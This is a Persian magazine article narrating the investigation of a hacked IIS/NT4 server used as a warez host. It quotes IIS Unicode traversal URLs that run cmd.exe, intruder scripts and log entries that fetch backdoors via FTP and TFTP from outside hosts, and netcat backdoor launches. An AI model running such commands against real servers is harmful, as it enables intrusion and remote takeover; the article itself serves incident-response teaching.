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ماجرا از آنجايي شروع شد كه يكي از اقوام و مشتريهاي نزديك من با مشكل اينترنت                      
 او به صورت     T1به خصوص اينكه او تعجب كرده بود كه چرا خط               . مواجه شده بود  


نامشخصي كُند شده بود و نگران بود از اينكه شايد سيستم او گرفتار ويروس يا كرم                     
من . ه او در گذشته يك بار دچار اين مشكل شده بود            اينترنتي شده است مخصوصا اينك    


 .به او گفتم كه يك نگاهي به سيستم او خواهم كرد
با توجه به مشكل قبلي كه داشت من انتظار داشتم كه احتمالا سيستم او دوباره دچار                     
ويروس يا كرم شده است و با كمي راهنمايي و پيشنهادات ساده مي تواند آن را از                         


اما بر خلاف تصور من اين پيش داوري مانند يك كاهي بود توي              . ف كند سيستم خود حذ  
شبكه مشتري من فقط با كرمهاي ديجيتالي       . يك كوه از مشكلاتي كه او با آنها مواجهه بود         


 مورد استفاده براي انواع هكرها شده        Warez آلوده نشده بود ، بلكه به عنوان يك سرور        
 Total Kill كه   IIS١ كرم   - IRCد از تروجان    بود به خصوص به وسيله يك گونه جدي        


 .نام داشت
 


 مشتري
اين مشتري من يكي از آن دسته مشتري هايي بود كه داراي حرفه هاي كوچكي هستند و                  


در عوض آنها به وسيله اين خط به         . نيازي به يك خط اجاره اي به صورت كامل ندارند          
در .  سرويس اينترنت مي دهند     تعدادي از دوستان و اقوامشان به صورت پاره وقت هم           


نتيجه شبكه او از ميان دستان خيلي از اشخاص داراي سر رشته گذشته بود و در تمام                    
طول اين دو سال به وسيله پرسنل او پشتيباني شده بود و هر كسي از آنها هر وقت كه                      
 مي خواست مي توانست به طرحبندي و پيكربندي شبكه او اضافه يا كم كند و براي همين                 


 . شده بود٢شبكه دوست عزيز من به صورت يك توليد كننده سرويس اينترنت كوچك


                                                 
1 - IRC Trojan/IIS worm 
2 - Mini Internet Service Provider (ISP) 


 
 روياروي انواع هكر


  اميرحسين شريفي :نندهتهيه ك
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 T1 اش يك خط      ISPاو براي حرفه    
 خريداري  IPو تعداد زيادي آدرس       


كرده بود و همچنين  تجهيزاتش را ،          
در . كه بتواند آن را مديريت كند          


  IPنتيجه براي اينكه اين آدرس هاي       
ان قبلي  هدر داده نشوند يكي از مدير      


اش يك مسير ياب سيسكو و يك            
 را راه اندازي كرده       DHCPسرور  


بود و براي هر كامپيوتر داخلي يك         
 مجزا اختصاص داده بود      IPآدرس  


كه از طريق اينترنت قابل دسترس          
 .بود


در هسته اين شبكه يك كامپيوتر بود       
كه ميزبان گروه زيادي از سرويس        


در كامپيوتر يك سيستم عامل     .ها بود 
NT4                    اجرا شده بود كه به عنوان يك سرور DNS        سرور ،  DHCP    سرور ، 


Exchange          اين سرور   .   و سرور فايل عمل مي كرد        ٣ ، كنترل كننده ابتدايي دامنه ها
به خاطر  . همچنين به عنوان يك ميزبان براي برنامه پايگاه داده  شركتش عمل مي كرد                 


اد مي توانست هدف ابتدايي براي ويروس       سرويسهاي زيادي كه اين كامپيوتر ارائه مي د        
 ماه قبل از اين وضعيت اين سرويس دهنده به وسيله               ٥در حقيقت   . ها و كرمها باشد    


Nimdaمورد هجوم واقع شده بود . 
 


  بعد از ظهر–تحقيقات اوليه ، روز اول 
يگر با بيان د  . اولين چيزي كه من بايد انجام مي دادم اين بود كه وضعيت سيستم را بدانم               


من دنبال پورتهاي باز سيستم مي گشتم كه بتواند حضور يك سرويس اضافه و يا                       
 مي باشد كه من يكي از       Nmapبهترين وسيله براي اين كا برنامه       . تروجان را نشان دهد   


  موجود در     IP براي آدرس هاي      65535 تا   1آنها را نصب كردم و تمام پورتها را از            
 :ن استفاده كردم به شكل زير بوددستوري كه م. شبكه بررسي كردم


                                                 
3 - Primary domain controller  


 روي سرور اصلي nmap نتيجه برنامه – ١ليست شماره 
 مشتري


Starting nmap V 2.54BETA22
(www.insecure.org/nmap) 
Interesting ports on (192.168.0.66); 
(The ports scanned but not shown below are in
state : close) 
port  State  Service 
53/tcp  open  domain 
80/tcp  open  http 
135/tcp open  loe-srv 
137/tcp filtered  netbios-ns 
138/tcp filtered  netbios-dgm 
139/tcp filtered  netbios-ssn 
593/tcp open  http-rpe-epmap 
1029/tcp open  unknown 
1031/tcp open  iad2 
1035 tcp open  unknown 
1038/tcp open  unknown 
1042 tcp open  unknown 
1490 tcp open  unknown 
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Nmap –sS –p 1-65535 –O 192.168.x.x  
 


 كاوش خودش را تمام كرد من به سرعت خروجي را مرور كردم              Nmapبه محض اينكه    
 23 ، 21 ، 12345 ، 31337و دنبال هر چيز مشكوك و يا پورتهاي مشهور به عنوان مثال       


اضافي و يا پورتي از يك تروجان          و يا هر چيز ديگري كه نشان دهده يك سرويس                
حال آنكه تمام كامپيوتر ها جواب مثبتي روي  پورتهاي از              ! مشهور باشد ، مي گشتم       


همچنين پورت  . و بخشهاي ممكن آن بود     NetBIOS داشتند كه نشان دهنده      139  تا   135
 ) را مشاهده كنيد ١ليست .( سرور اصلي مشتري باز بود80


 
 
 


 
 باز است ، سريعا مرورگر خودم را باز كردم تا ببينم چه                ٨٠ت  بعد از متوجه شدم پور     


 معمولا براي سرور وب      80 پورت    .صفحات وبي روي اين سرور گذاشته شده است          
 به صورت معمول وجود دارد را        IISاستفاده مي شود و صفحاتي كه در هنگام نصب             


 .مشاهده كردم
تن ضعفهاي امنيتي كه وجود دارد       قدم بعدي اين بود كه سرور را جستجو كنم براي ياف           


 هاي محبوب خود را اجرا كردم و خود براي خوردن يك نوشيدني به                  ٤بنابراين پوينده 
 .طبقه پايين رفتم


من تعداد بسيار زيادي ضعفهاي و سوراخهاي        ! وقتي برگشتم نتايج ناراحت كننده بود        
كترين ضعف در سرور مي     با زبان ديگر كوچ   . را پيدا كردم    ! امنيتي و پونيكدهاي آلوده     


تواند به يك نفوذگر و يا يك كرم اينترنتي براي رسوخ به سرور كمك كند آن وقت                          
ضعفهايي كه از طريق يونيكدها وجود دارد  از قديمي ترين اين سوراخهاي امنيتي مي                    


 ها را براي    Patch و اين نشان مي داد كه مسوولين شبكه به هيچ عنوان هيچ يك از                !باشد
 . نگونه ضعف ها به كار نبرده اندرفع اي


 
 تست ضعفهاي سرور ، شب اول


با . يك نكته خوب اينجا بود كه من مي دانستم بايد جستجوهايم را  از كجا شروع كنم                     
 به سرور دستور     URLمن به وسيله اين      .  زير كارم را شروع كردم      URLاستفاده از   


 :يش دهد  را نماc:\winnt\system32 دادم كه ليست دايركتروي 
 


                                                 
4 - Wishker – Stealth – CGI4 
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http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc] 
cmd.exe?c+dir+c:\winnt\system32 
 


 . يك مرتبه سرور نتيجه را برگرداند


 . من با يك نظر سريعي كه به ليست انداختم تعدادي فايلهاي مشكوك نظرم را جلب كرد


جا بازگو مي كنم و مي گويم كه چرا آنها مشكوك             من تعداد از اين فايل را براي شما اين         
 !متاسفانه خيلي از مديران شبكه به اين گونه فايلهاي مشكوك هيچ توجه اي ندارند. بودند


• PipeCmd.exe:                 ابزاري براي كنترل از راه دور كه در سمت مشتري اجرا مي شود 
 .و به وسيله نفوذگرها استفاده مي شود


• Omnithread_tr.dll:  از سه فايل مورد استفاده براي نصب           يكي VNC    يك ابزار ، 
 .مشهور و قدرتمند براي كنترل از راه دور


• VNCHooks.dll:  دومين فايل براي نصب VNC. 


• Vnsystask.exe:         سومين فايلي كه براي نصب برنامه VNC      مورد نياز است و همه 
 .اينها از ديد كابر پنهان بوده است


• Nc.exe:  Netcatه عمومي براي اجراي دستورات از راه دور ، برنام. 


• Pw.exe:      معمولا به اسم pwdump(2).exe  برنامه اي براي استخراج    .  مشهور است
 .نام كاربران و كلمات رمز آنها


• Samdump.dll:  فايلي كه مورد نياز برنامه pw.exeمي باشد . 


يركتوري  در دا   rootkit عدد    ٢به صورت واضح ، در اين سرور نه يكي ، بلكه                      
c:\winnt\system32    و آنطور كه  من بعدها  فهميدم اين تنها يكي از              .  نصب شده بود


 اي بود كه در اين سرور براي به دست گرفتن سرور با هم رقابت مي                      rootkitدهها  
 !!!كردند


 قرار داشت در    c:\winnt\system32 كه در داخل دايركتوري       SysStatمثلا دايركتوري   
 .  ديگر بودrootkit ساخته شده بود شامل يك ٢٠٠٢سال  اكتبر ٧تاريخ 


بعد ، براي اينكه ببينم در درايو ريشه سرور ،  فايل ديگري نظرم را جلب مي كند يا نه  از                       
URL       ديگري براي نشان دادن درايو C    فكر كنم خود شما با كمي فراست       .  استفاده كردم


 : اي استفاده كردم URLبتوانيد حدس بزنيد از چه 
http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc] 
cmd.exe?c+dir+c:\ 
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در اينجا بود كه من خندم گرفت از        
اينكه شروع كرده بودم تا ببينم چه       


اما دو  . ناحيه اي آلوده شده است     
فايل در درايو ريشه بود كه نظرم        


 , Script.bat: را جلب كرد     


Script.txt  خيلي تابلو نشان       كه 
من توسط يك نفوذگر    « مي داد كه  


من تصميم    . »ساخته شده ام    
گرفتم كه محتواي آنها را بررسي        


  URLبراي اين منظور از       . كنم  
هاي زير استفاده كردم كه محتواي      


 :اين فايلها را نمايش مي دهد
http://192.168.0.66/MSADC/..%
5c..%5c..%5c..%5cwinnt/system


32/[ccc] 
cmd.exe, /c+type+c:\scripts.bat 
 
http://192.168.0.66/MSADC/..%
5c..%5c..%5c..%5cwinnt/system


32/[ccc] 
cmd.exe, /c+type+c:\scripts.txt 
 


شما هم يك نگاهي به محتواي اين        
چه نتيجه اي مي     . فايلها بياندازيد   


گيرد ؟ چه اتفاقي در سرور افتاده؟       
به نظر شما در قدم بعدي چه             


 كاري بايد انجام بدهم؟ 
 


  سرور Cليست درايو 
Volume in drive C has no label 
Volume Serial Number is DCF0-5460 
Directory of C: 
10/10/02  01:03 p   1000,000 1mb 
٠٩:٣٢ ٠٥/٢٠/٠٢a 0   
AUTOEXEC.BAT 
10/18/02 12:57a   789 bootobc.dll 
10/10/02 12:42p   223 CDIR.TXT 
05/20/02 09:32a   0 CONFIG.SYS 
10/30/02 05:53p   0 dir.txt 
11/23/99 10:04a   208,144 dns.exe 
06/07/02 11:04a   524,288 
errorlog.evt 
05/28/02 07:06p     <DIR>  exchsrvr 
10/04/02 06:38p   0 explorer.exe 
10/04/02 06:38p  0 explorer.ini 
05/20/02 10:18p    <DIR>  hpfonts 
09/24/02 06:49p    <DIR>  hplj2100 
09/29/02 01:03p   6,721,536 
httpodbc.dll 
09/27/02 09:36p    <DIR>  IIStmp 
10/18/02 01:11a    <DIR>  InetPub 
10/10/02 12:45p   6,656 
INFUSE.EXE 
10/10/02 12:43p   602 LOGIN.TXT 
10/02/02 02:17p   59,392 ncx99.exe 
10/30/02 02:47p   6,693 netstat.txt 
10/30/02 10:09a   536,870,912 
pagefile.sys 
07/24/02 01:29p    <DIR>  Program Files 
10/10/02 12:44p  81 pt.txt 
10/14/02 05:21a   1,307 ra_slave.log 
10/26/02 01:21p   716 Script.bat 
10/26/02 01:21p   95 Script.txt 
10/29/02 07:42p   1,949 
servudaemon.ini 
10/28/02 04:40p   528 
ServUStartUpLog.txt 
10/04/02 04:25p   15,000,000 
SR.CD2-H2O.r41 
09/28/02 01:33p    <DIR> TEMP 
10/10/02 12:43p   17,920 
TLIST.EXE 
06/18/02 10:00p     <DIR>  veritas 
09/28/02 01:18p     <DIR>  WIN32 
10/10/02 12:45p  496,836 
WINMGNT.EXE 
10/30/02 01:09p    <DIR>  WINNT 


35 File(s) 560,918,667 bytes 







                                                روياروي انواع هكر 


 www.websecuritymgz.com                                                                                                                  6 


 
 


  Script.batمحتواي فايل 
Mkdir c:\recycler 
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117 
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash 
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc] 
old_files 
Mkdir d:\recycler 
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117 
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash 
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc] 
old_files 
mkdir e:\recycler 
Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784038887-1117 
Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784 
c:\winnt\system32\ftp -n -s:script.txt 
c:\winnt\system32\svhost.exe /i 
c:\winnt\system32\psshutdown.exe -r -l –f 


 
 


  Script.txtمحتواي فايل 
open 210.171.xxx.xxx:11515 
USER ironfredh 
hichic 
get svhost.exe 
get servudaemon.ini 
quit 
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 رودرروي انواع هكر
 »قسمت دوم « 


 
 امير حسين شريفي: تهيه كننده


com.info@WebSecurityMgz 
 
 


                                                


بنابراين . من احساس كردم كه كار خيلي جدي تر از آن چيزي بود كه فكر مي كردم                   
 بعدي خودم   URLمنظور من در     براي همين   .  خيلي با دقت تر به مساله نگاه كردم         


 قرار داشت و من     \:Cاين فايل در دايركتوري     .  را اجرا كنم   ncx99.exeسعي كردم فايل    
 . ارتباط برقرار كردمTelnet با سرور به وسيله 99به وسيله آن از طريق پورت 


 
http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc]cmd.exe, 
/c+c:\ncx99.exe 


ncx99.exe        يكي از نسخه هاي محبوب netcat           براي نفوذگر ها مي باشد كه يك شل 
اين برنامه به هر كسي اجازه مي دهد كه .  ايجاد مي كند99 روي پورت   1حراست نشده   


 را پشتيباني مي كند ارتباط برقرار كرده  و سيستم              Telnetبه هر سيستم عاملي كه       
 .ر بياوردفوق را به كنترل خود د


 كه احتمال مي دادم به         \:Cاز طريق ارتباطم با سرور ، دايركتوري ها را در درايو                
صورت مطمئني هك شده مي باشند ، تغيير دادم و سپس يك ليست كاملي از آنها و                      
نتايجاشان تشكيل دادم و سپس همه را به كامپيوتر خودم منتقل كردم تا بتوانم به                     


 .رسي كنمصورت جزيي تر آنها را بر
 


 ! و فكر كنم مادربزرگ من THCاشغال شده به وسيله جو ، ماري ، پيتر ، 
در اصل من   . وقتي كه ليست نتايج را در مقابل خودم نگاه مي كردم باز خنده ام گرفت                


فرداي همان روز دوست خودم را دعوت كردم و نتايج كارم           . خيلي بهت زده شده بودم      
شما متوجه شديد كه سرور شما تغيير پيدا كرده          « : فتم  را به او نشان دادم و به او گ         


 
1 - unprotected shell 
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                رودر روي انواع هكر              


است؟ و من فكر مي كنم كه فقط شما تنها كسي توي اين كره خاكي مي باشيد كه اين                       
 »!! كار را نكرده ايد


 دفعه مورد   10فقط پس از يك پويش كوچك من به اين نتيجه رسيدم كه سرور بيش از                 
 زير فقط بعضي از دايركتوريها را نشان مي           ليست. نفوذ افراد ديگر قرار گرفته است        


 . مي باشندrootKitدهد كه شامل 
C:\scripts.bat 
C:\temp\win.asp 
c:\inetpub 
c:\inetpub\scripts 
c:\inetpub\wwwroot 
c:\inetpub\mailroot\drop\temp 
c:\winnt\system32 
c:\winnt\system32\sysstat 
 


 : كرد ليست دايركتوريهاي زير بوداما آنچه كه واقعا نظر من را جلب
 


 c:\RECYCLER\system\winnt\test\system32  دايركتوريهاي 
10/26/02 04:48a <DIR> . 
10/26/02 04:48a <DIR> .. 
10/24/02 03:49p <DIR> +01 # I N F U S i O N # 
10/24/02 03:50p <DIR> +02 H4x0r3d, Scann3d, & [ccc] 
FiLL3d by THC 
10/24/02 04:00p <DIR> +03 APPZ 
10/24/02 04:24p <DIR> +04 BOOKZ 
10/26/02 04:49a <DIR> +05 GBA 
7 File(s) 0 bytes 
 


 گيگابايت از مطالب غير     3بعد از تحقيقات بيشتر پي بردم كه اين دايركتوريها در حدود             
. بود عدد بازيهاي پيشرفته     500 را نگهداري مي كردند كه شامل بيش از          warezقانوني  


تحقيقات . يكي از دلايل اصلي كه سرعت اينترنت كند شده بود نيز همين مساله بود                   
 بوده است كه به صورت       Nimdaبعدي نيز نشان داد كه اين سرور هم آلوده به كرم              


 .فعالي به دنبال هدفهاي ديگري روي اينترنت ، خودش را منتشر مي كرده است
 او گفتم كه كل سرور را بايد از كار بياندازد و             دفعه ديگر ، مدير شبكه را خواستم و به        


همچنين آنها را متوجه اين امر كردم       . كل هارد آن را فرمت كند و دوباره پيكربندي كند          
كه سرور آنها ، ميزبان فعاليتهاي غير قانوني مي باشد كه ادامه آن ممكن است براي                    


همچنين ما  .  سرور پاك كنند   آنها  ايجاد مسووليت كند و بايد هر چه زودتر آنها را از               
درباره نصب يك ديواره آتش و يك مسير ياب و همچنين  پيكربندي شبكه  و نصب                      
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به اين صورت آنها را مجاب        .  هاي مورد نياز براي سرور بحث كرديم            Patchكليه  
در طول اين مدت    . كردم كه بدين صورت امنيت شبكه آنها تا حدودي تضمين مي شود            


در طول اين مدت    . دازي مجدد شبكه بودم ، كل آن را مسدود كردم             كه در حال راه ان     
 هاي نصب شده و سوراخهاي امنيتي سرور و                 rootkitتحقيقات بيشتري روي       


اسكريپتهايي كه توسط قوم و طائفه نفوذگران نصب شده بود تا كامپيوتر را براي خود                
كه دست نفوذگران  از      نتيجه تلاش بر روي اين مسايل اين بود            . كنند ،  انجام دادم     
 .سرور كوتاه شد


 
 اسكريپتهاي نفوذگران


قبل از اينكه داستان بعدي را براي شما بازگو كنم خيلي مهم است كه شما با طريقه و                     
وقتي . روشهايي كه نفوذگران انجام دادند تا اين سرور را به دست گرفتند آشنا شويد                


گر قرار گرفته است ولي بايد اين را         نفوذ 10من گفتم كه اين سرور مورد تهاجم بيش از          
متوجه مي شديد كه همه آنها فقط از طريق همان سوراخهاي امنيتي پايه اي به اين كار                   


در حقيقت اكثر آنها از همان          . نائل شده اند و توانسته اند به سرور نفوذ كنند                 
ني از   ها استفاده كرده اند يع       Root Kitاسكريپتهاي ابتدايي براي ، ذخيره و اجراي           


 !طريق نوشتن دستورات به صورت دستي 
خيلي راحت بگويم كه اين سرور فقط توسط بچه هكرها مورد هجوم قرار گرفته بود نه                 


فقط به خاطر خلطي كه مي شود آنها را نيز هكر مي نامند در حاليكه                  ! يك هكر واقعي    
ارد نه كس ديگر    يك نفوذگر واقعي ، داده ها و برنامه هاي خود را فقط در كنترل خود د                


و حاضرم شرط ببندم كه همه آنهايي كه به اين سرور نفوذ كردند فقط از طريق                         
استفاده از يك پويشگر سوراخهاي امنيتي و كليك روي لينكهايي كه آنها داده اند اين                   


هر كدام  . كار را انجام داده اند بدون اينكه حتي از شيوه و علت آن چيزي سر در بيارند                 
سيله استفاده از آلوده كردن يونيكد ها و يا با استفاده از اسكريپتهايي                   از آنها به و    


 هاي خود را نصب     root kitمخربي كه براي اينگونه برنامه ها وجود دارد ، توانسته اند            
يك .  ها به صورت آماده و بسته بندي مي باشند               root Kitاين گونه   . و اجرا كنند  


متر از چند ثانيه ممكن است اتفاق بيفتد كه شامل            فقط به وسيله چند دستور و ك        »نفوذ«
 .قدمهاي زير مي باشد


قدم اول تست كردن سرور براي وجود نقاط ضعف به وسيله پويشگرهاي مخصوص               
مي باشد كه آنها را نيز مي توانيد به صورت بسته هاي نرم افزاري و رايگان دانلود                      


 . كنيد
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آن در سرور مي باشد و قدم آخر نصب آن           و قرار دادن     root Kitقدم دوم ، يافتن يك      
 . مي باشد2»در پشتي«و درست كردن يك 


 هاي زير را كه از طريق فايل هاي ثبت          URLبراي فهميدن هر چه بيشتر اين سه مرحله         
 .رويدادهاي سرور به دست آورده ايم، بررسي مي كنيم


 
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+dir+c:\ 
 
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+tftp+i+XX.XX.XX.XX+backdoor.exe+c:\backdoor.exe 
 
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+c:\backdoor.exe 
 


ي باشد ، بسيار ساده بيان شده است ولي اكثر اسكريپتها           از آنجا كه اين فقط يك مثال م       
البته ما در   . شامل مراحل پيچيده تري مي باشند تا بتوانند يك سرور را در دست بگيرند             


زير روي اين موضوع بحث خواهيم كرد و شرح خواهيم داد كه يك حمله شامل چه                     
 . بيان خواهيم كردمراحلي مي باشد و دلايل استفاده از اينگونه اسكريپتها را 


اولين بخش از حمله نفوذگر اين مي باشد كه به چه صورتي به سرور دسترسي پيدا                    
 در سرور نياز به اين امر مي باشد كه به             Root Kitزيرا براي ذخيره كردن يك       . كند


متاسفانه براي يك نفوذگر هميشه بيش از           . سرور بتوانيم دسترسي داشته باشيم       
به عنوان  . د دارد كه مي تواند به وسيله آنها سرور را آلوده كند            وجو 3هزاران در پشتي    


مثال ، در مورد دوست من ، نفوذگران از سوراخهاي امنيتي كه در يونيكد ها وجود                     
داشته است سود جسته اند و توانستند به وسيله آن بسيار راحت سرور را به خدمت                   


ده چنين اسكريپتي مي باشد كه        نشان دهن  4يكي از مدخلهاي  فايل ثبت وقايع        . بگيرند
نفوذگر براي غلبه به سرور مشتري من  به كار برده است كه در زير نشان داده شده                     


البته به نظر من اين يك پويشگر مي باشد كه اين دستورات را به سرور فرستاده                 . است
است زيرا فايل ثبت وقايع دو دستور را پشت سر هم و با تفاوت زماني فقط دو ثانيه                      
نشان مي دهد و يا بايد بگوييم كه با يك هكر سرور كار داريم كه بسيار سريع تايپ مي                   
كند  و يا يك اسكريپتي مي باشد كه به صورت اتوماتيك فرايند نفوذ را اجرا مي كند و                     


 .يكي يكي سوراخهاي امنيتي كشف شده را روي سرور امتحان مي كند
 


                                                 
2 - back door 
3 - back door 
4 - Log entry 
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217.153.XXX.XX, -, 10/30/02, 18:24:06, W3SVC, [ccc] 
EXCHANGE, 64.3.XXX.XX, 32, 149, 2079, 200, 0, [ccc] 
GET, /scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+dir+c:\ 


 
وقتي به فايل ثبت وقايع  نظري داشته باشيد متوجه مي شويد كه اين درخواست از كجا                 


ر يونيكد را مشاهده كنيد     در اينجا شما مي توانيد يك  ضعف امنيتي د           . داده شده است  
و همه اينها به     .  را در مرورگر نفوذگر نمايش مي دهد         \:Cكه به راحتي ليست درايو       


 ها را تست مي كند و نتيجه        URLوسيله يك پويشگر انجام مي شود كه  هر يك از اين              
 .را براي نفوذگر بر مي گرداند


 


 
 


جود دارد كه قابل دسترس براي هر       از اين نوع پويشگر ها  به تعدا زيادي در اينترنت و            
نفوذگري مي باشد و حتي براي كساني هيچ اطلاعي از چرايي و چگونگي ضعف امنيتي                


 .ندارند و فقط مي توانند از آنها براي به دست گرفتن سرورها سود ببرند
 و يا فايلهاي ديگري مي باشد كه بتوان         root Kitقدم دوم در اين فرآيند پيدا كردن يك          


دوباره بايد بگويم كه فايل ثبت وقايع بهترين          . يله آن يك سرور را كنترل كرد        به وس 
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 در اين مرحله ، اسكريپت نفوذگر يك فايل را با استفاده             .مثال ها را به ما نشان مي دهد       
حدود يك صفحه   .  ايجاد كرده و فايلهاي ديگر را نيز به درون سرور مي فرستد            FTPاز  


. ت فايلهاي دانلود شده به سرور اختصاص پيدا كرده بود            از فايل ثبت وقابع براي ثب       
 .بنابراين ما هم بر حسب اختيار تعدادي از آنها را در زير مي آوريم


 مخفي را در دايركتوري         5ابتدا ، نفوذگر به وسيله اسكريپت خود يك پوشه                    
C:\Inetpub  ايجاد مي كند تا RootKitهاي خود را در آن جاي دهد : 


 
217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 16, 177, 304, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cwinnt/system32/cmd.exe, /c+mkdir+c:\Inetpub\[ccc] 
mailroot\drop\temp+, 


 
اد كرده   را درون دايركتوري كه ايج      cmd.exeقدم بعدي ، اسكريپت يك كپي از فايل           


 :است ، قرار مي دهد
 
217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 62, 211, 331, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cwinnt/system32/cmd.exe, /c+copy+[ccc] 
c:\winnt\system32\cmd.exe+c:\Inetpub\mailroot\drop\temp\doit.exe+, 
 


 در دايركتوري    default.txtحال اسكريپت نفوذگر براي اينكه مطمئن شود فايلي به نام           
 :فوق وجود ندارد ، آن را به وسيله دستور زير حذف مي كند


 
217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 141, 200, 362, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, [ccc] 
/c+del+c:\Inetpub\mailroot\drop\temp\default.txt+, 
 


 ، مي سازد و خطوطي را در         default.txtسپس اسكريپت يك فايل جديد به همان نام ،          
 :آن مي نويسد 


 
217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 16, 221, 304, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+echo+open+[ccc] 
65.40.28.170+>>c:\Inetpub\mailroot\drop\temp\default.txt+, 
 


 :شته مي شود  نو default.txtبا استفاده از اسكريپت بالا ، خطوط زير همگي در فايل 
 


                                                 
5 - Folder 
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Open 65.40.xxx.xxx 
user anonymous >> default.txt 
echo lol@lol.com >> default.txt 
echo cd+rapport/backup >> default.txt 
get reboot.exe >> default.txt 
get TzoLibr.dll >> default.txt 
echo get ServUDaemon.ini >> default.txt 
echo get ServUCert.key >> default.txt 
get ServUCert.crt >> default.txt 
get rundlls32.exe >> default.txt 
echo get ncx99.exe >> default.txt 
echo get kill.exe >> default.txt 
echo get tasklist.exe >>default.txt 
echo quit >> default.txt 
 


 راحت مي توان از آنها فهميد كه          بنابراين تمامي خطوط در فايل نوشته شدند و خيلي          
 بعدي كه به     URL.  را ايجاد كرده است     FTPاسكريپت ، يك فايل كامل از دستورات          


 را با استفاده از ليست دستورات فايلي        FTPسمت سرور فرستاده مي شود ،دستورات       
 . كه ايجاد كرده است ، اجرا مي كند


 
217.153.xxx.xxx, -, 10/30/02, 18:34:31, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 525250, 212, 304, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+ftp+-i+-v+-n+-s:[ccc] 
c:\Inetpub\mailroot\drop\temp\default.txt+, 
 


ه كند و مطمئن    اسكريپت بعدي از پوشه ، يك ليست مي گيرد تا پيشرفت كار را مشاهد               
همچنين ! شود كه تمامي فايلها كه انتظار داشته است به سرور دانلود شده است يا نه                   


 FTPيك فايل ديگر مي سازد تا به وسيله آن نفوذگر بتواند يك در پشتي به وسيله                      
 استفاده مي كند كه عمومي ترين         Servu-FTPدر اين مرحله اسكريپت از       . ايجاد كند 


 . اشد كه توسط نفوذگران استفاده مي شود اي مي بFTPسرور 


 مي   Servustartuplog.txt ، كه در اين سرور به نام         FTPبه طور خلاصه، فايل نصب      
البته . باشد ، شامل مسيرهايي است كه قرار است به آنها امكان دسترسي داشته باشيم              


 براي حداكثر كردن قابليت سرويس دهي آن ، اسكريپت به سادگي تمامي ليست                      
 و يا هر     CD-ROM را نمايش مي دهد و اگر            Z تا    Aدايركتوريهاي درايوها ، از      


 .ديسك مجازي ديگر نيز وجود داشته باشد اين كار به سادگي  امكان پذير مي باشد
آخرين مرحله از اين فرآيند نفوذ، اجراي فايلهايي مي باشد كه در مراحل قبل در سرور                 


 ،  NetCat و نصب يك در پشتي كه به وسيله               و در آخر ايجاد    . قرار گرفته است   
ncx99.exe    البته اجراي برنامه ها نيز به وسيله        .  ، انجام شده استURL   ديگري انجام 
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. مي شود كه در اين مدت مطالعه ديگر خود شما نيز مي توانيد به راحتي آن را بنويسيد                  
 ديگري را به آن     حال سرور متعلق به شماست و مي توانيد هر امكاني و يا هر قابليت                


 . مي توانيد فايلهاي ثبت وقايع را به كلي پاك كنيد. اضافه و يا كم كنيد


خب، مشاهده كرديد كه در عرض چندين دقيقه يك نفوذگر مي تواند به يك سرور نفوذ                  
 .كند


 داستاني ديگر وجود دارد كه        DDOSاما در قسمتهاي بعدي ، درباره حملاتي چون            
پس با ما همراه    !! اي كه چاره اي براي آن انديشيده نشده است        حمله  . بسيار جالب است  


 .باشيد تا داستان بعد 
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دلهره و شكايت مشتري مورد نظر از . همـه چـيز بـا تماس ساده يك مشتري نگران شروع شد          
بر اساس اين مطلب ساده بود كه من در نهايت متوجه           . تگاه او به اينترنت بود    افـت سرعت اتصال دس    


هكرها با  . شـدم كه سرور اصلي اتصال به اينترنت مكررا قرباني ويروس ها و هكرها قرار گرفته است                
، كامپيوتر مشتري را در     IISاستفاده از كدهاي عمومي آسيب پذير، توانسته بودند با در اختيار گرفتن             


 ـ  گيگابايت نرم افزار    ٣ كه ميزبان بيش از      warezيار گرفته و حتي مي توانستند آن را به يك سرور            اخت
 .غيرمجاز است تبديل كنند


در نتـيجه آنچـه در بالا گفته شد، به مشتري مزبور گفتم كه در حال حاضر بايد با نصب تمام                      
Service Pack  بعد از بحث . را از ابتدا اجرا كند هـاي ضروري، فورا سرور را تميز كرده و دوباره آن


كـردن بـر سـر تمهـيدات محافظتـي ممكـن بـا مشتري، سريعا به كند و كاو راه دور فايلهاي سرور و                         
جمـع آوري در حـد مقـدور اطلاعـات ممكـن از متدها و حقه هايي كه هكرها براي در اختيار قرار گرفتن                        


دودا دو ساعت كند و كاو، به سرعت متوجه         به هر حال، پس از ح     . سـرور اسـتفاده كرده بودند، نمودم      
 ، هر دو ديگر پاسخي (Back Door)ايـن مطلـب شـدم كه هم سرور وب و هم برنامه رخنه پشتي من    


 .نمي دهند و فعاليتي ندارند


